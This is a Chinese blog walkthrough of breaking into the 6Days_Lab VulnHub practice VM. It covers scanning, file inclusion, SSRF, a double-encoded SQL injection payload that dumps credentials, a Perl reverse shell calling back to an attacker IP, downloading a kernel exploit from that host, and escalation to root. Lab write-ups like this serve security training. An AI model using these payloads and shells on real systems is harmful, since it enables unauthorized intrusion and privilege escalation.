VM - 6Days_Lab-v1.0.1 的破解
本文主要記錄對 6Days_Lab-v1.0.1 的滲透學習過程,測試的 VM 主機主要來源 www.vulnhub.com
部落格集:面向 CTF 的 VM 破解系列
下載連結:6Days_Lab-v1.0.1
-
初始安裝,不知道IP,首先獲取IP
Currently scanning: 172.16.154.0/16 | Screen View: Unique Hosts 15 Captured ARP Req/Rep packets, from 3 hosts. Total size: 900 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.10.10.152 00:0c:29:ed:93:0b 5 300 VMware, Inc. 10.10.10.1 00:50:56:c0:00:08 5 300 VMware, Inc. 10.10.10.2 00:50:56:fb:16:b2 5 300 VMware, Inc.
-
獲取IP是 10.10.10.152,使用 nmap 進行掃描
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-22 11:34 EST Nmap scan report for 10.10.10.152 Host is up (0.00032s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Rashomon IPS - Main Page 8080/tcp filtered http-proxy MAC Address: 00:0C:29:ED:93:0B (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到開放了22、80、8080埠
-
首先注意到 80 埠,使用瀏覽器訪問,看到的提示資訊並沒有什麼值得注意的。此時使用 burpsuite 抓包看一下是否能發現線索。
發現在 forward 主頁面之後,又請求了一個新頁面GET /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg HTTP/1.1 Host: 10.10.10.152 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.152/ Connection: close Cache-Control: max-age=0
-
使用瀏覽器請求 “http:// 10.10.10.152/image.php ”會報錯
注意到使用瀏覽器請求 “http:// 10.10.10.152 ” 主頁時有一個填寫促銷程式碼的地方,抓包發現是請求的 “/checkpromo.php ”頁面,由於沒有促銷程式碼,所以先放一放等會再來看。提示資訊中有一個促銷程式碼“NONEEDFORPENTEST”,但是是過時的。 -
既然主頁不能發現有價值的東西,那麼就用 dirb 暴力破解目錄
---- Scanning URL: http://10.10.10.152/ ---- + http://10.10.10.152/cgi-bin/ (CODE:403|SIZE:290) + http://10.10.10.152/config (CODE:200|SIZE:0) + http://10.10.10.152/create (CODE:200|SIZE:40) + http://10.10.10.152/delete (CODE:200|SIZE:40) + http://10.10.10.152/drop (CODE:200|SIZE:40) + http://10.10.10.152/exec (CODE:200|SIZE:40) + http://10.10.10.152/image (CODE:200|SIZE:0) ==> DIRECTORY: http://10.10.10.152/img/ + http://10.10.10.152/index (CODE:200|SIZE:1272) + http://10.10.10.152/index.php (CODE:200|SIZE:1272) + http://10.10.10.152/insert (CODE:200|SIZE:40) + http://10.10.10.152/list-create (CODE:200|SIZE:40) + http://10.10.10.152/select (CODE:200|SIZE:40) --> Testing: http://10.10.10.152/servers
跑起來之後發現到 “/servers” 的位置程式暫停了,猜測是目標主機有防禦措施
-
根據爆破出來的目錄進行嘗試訪問
發現存在 “http:// 10.10.10.152/server-status” 、“http:// 10.10.10.152/img/”和 “http:// 10.10.10.152/image”是可以訪問的
通過訪問“http:// 10.10.10.152/server-status” 可以找到以下頁面30-0 6103 0/466/1331 _ 0.06 125 21011 0.0 0.13 0.36 127.0.0.1 127.0.1.1 GET /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQ 31-0 6104 0/468/1334 _ 0.06 117 0 0.0 0.13 0.43 127.0.0.1 127.0.1.1 GET /server-status HTTP/1.1
訪問網址“http:// 10.10.10.152/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQ” 發現提示報錯資訊:
使用 burpsuite 抓包,無響應結果 -
根據 URL 的結結構可以嘗試是否存在檔案包含漏洞(遠端檔案包括或者本地檔案包含)
嘗試包含主頁檔案“index.php”,構造URL“http:// 10.10.10.152/image.php?src=index.php”
提示錯誤資訊:
使用 burpsuite 抓包,發現可以響應主頁資訊:
嘗試包含自己,發現可以看到“image.php”原始碼:
探測檢視 “checkpromo.php” 原始碼:
探測檢視 “config.php” 檔案原始碼:
-
接下來嘗試檢測檢查預設的 apache 站點
發現存在8080埠。網站實際上在埠8080上執行,它只接受本地連線,然後由埠80轉發。使用 SSRF漏洞訪問測試驗證是否是代理轉發
提示程式碼過期,驗證成功。 -
sql注入獲取使用者名稱和密碼
經過一番測試,發現需要使用雙層 url編碼
使用 python 指令碼進行雙層 URL 編碼# python 二次URL編碼語句 # python3 from urllib.parse import quote #quote(quote("待編碼語句")) quote(quote("aaaa'union all select concat(username,'~~~',password),2 from fancydb.users#")) #aaaa為填寫的優惠碼
將編碼之後得到的“aaaa%2527union%2520all%2520select%2520concat%2528username%252C%2527~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523”
放入burpsuite:
成功獲取使用者名稱和密碼:andrea~SayNoToPentests驗證使用者名稱:
-
ssh嘗試登入 andrea~SayNoToPentests
# SSH遠端連線 [c:\~]$ ssh andrea@10.10.10.152 andrea@cypm:~$ id andrea@cypm:~$ uname -a andrea@cypm:~$ ls -alh
發現無法執行任何命令,有可能是回顯資料丟失,嘗試反向shell連線
# kali 監聽埠 root@kali:~# nc -nvlp 4444 listening on [any] 4444 ...
# 6Days_Lab的原始shell中 andrea@cypm:~$ perl -e 'use Socket;$i="10.10.10.151";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 此時kali中接收到反彈的shell $ uname -a Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux $ ls dog
-
將原始的shell環境轉換成 bash shell 環境
$ python -c 'import pty; pty.spawn("/bin/bash")' andrea@cypm:~$ id id uid=1001(andrea) gid=1001(andrea) groups=1001(andrea) andrea@cypm:~$ uname -a uname -a Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
-
提權
已知linux 核心版本是 Linux cypm 3.13.0-32-generic,可以考慮核心提權
# 下載並編譯原始檔 andrea@cypm:~$ wget http://10.10.10.151/37292.c andrea@cypm:~$ ls ls 37292.c dog andrea@cypm:~$ gcc -o 37292 37292.c gcc -o 37292 37292.c andrea@cypm:~$ chmod +x 37292 chmod +x 37292 andrea@cypm:~$ ./37292 ./37292 spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id id uid=0(root) gid=0(root) groups=0(root),1001(andrea) # python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' root@cypm:/home/andrea# id id uid=0(root) gid=0(root) groups=0(root),1001(andrea) root@cypm:/home/andrea#
-
獲取 flag
root@cypm:/root# ls / ls / bin etc initrd.img media proc sbin sys var boot flag lib mnt root selinux tmp vmlinuz dev home lost+found opt run srv usr root@cypm:/root#
相關文章
- VM - DerpNStink 的破解
- VM - Raven: 1 的破解
- VM - Lazysysadmin 的破解
- 面向 CTF 的 VM 破解系列
- VM - Typhoon 1.02 的破解
- VM - FourAndSix 2.01 的破解
- VM - 64Base_3mrgnc3 的破解
- VM - CH4INRULZ_v1.0.1 的破解
- VM - JIS-CTF-VulnUpload-CTF01 的破解
- 把ASM下的HDD VM轉換成ARM下Managed Disk的SSD VMASM
- Azure VM的加速網路
- Vm 增加硬碟硬碟
- [VM trunk ports]opensatck VM 單網路卡,多VLAN配置
- 在ARM模式下捕獲VM並建立新VM模式
- node核心模組-vm
- Oracle VM釋出Oracle
- JAVA VM 與DalvikJava
- docker vm 效能優劣Docker
- css vm用法介紹CSS
- VM 常用命令
- Oracle VM初識(一)Oracle
- Oracle VM初識(二)Oracle
- solaris vm create new lv
- 資料:Java HotSpot VMJavaHotSpot
- 聊聊HotSpot VM的Native Memory TrackingHotSpot
- VM中的Ubuntu(16.04)安裝tenserflowUbuntu
- 正確使用Windows Azure 中的VM RoleWindows
- limo和Dalvik VM的一個思路
- Flutter:VM snapshot must be valid. Check failed: vm. Must be able to initializeFlutterAI
- Java的破解和反破解之道 (轉)Java
- idea VM Options 設定Idea
- NodeJs VM模組詳解NodeJS
- VM軟體建立共享磁碟
- oracle VM掛載光碟機Oracle
- vm server RAC--補丁Server
- vm server RAC--IP 地址Server
- Oracle rac on vm--共享磁碟Oracle
- [hgame 2023]vmGAM